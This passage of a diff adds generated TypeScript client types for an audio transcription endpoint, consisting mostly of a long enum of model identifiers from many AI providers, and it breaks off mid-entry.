{"cost":0.000508,"input_tokens":83,"output_tokens":30,"seconds":9.2,"total_tokens":113} + * @type object | undefined + */ + usage?: STTUsage + /** + * @description Timestamped words, present when the provider returns word-level timestamps + * @type array | undefined + */ + words?: STTWord[] +} + +export const openrouterPostAudioTranscriptionsRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 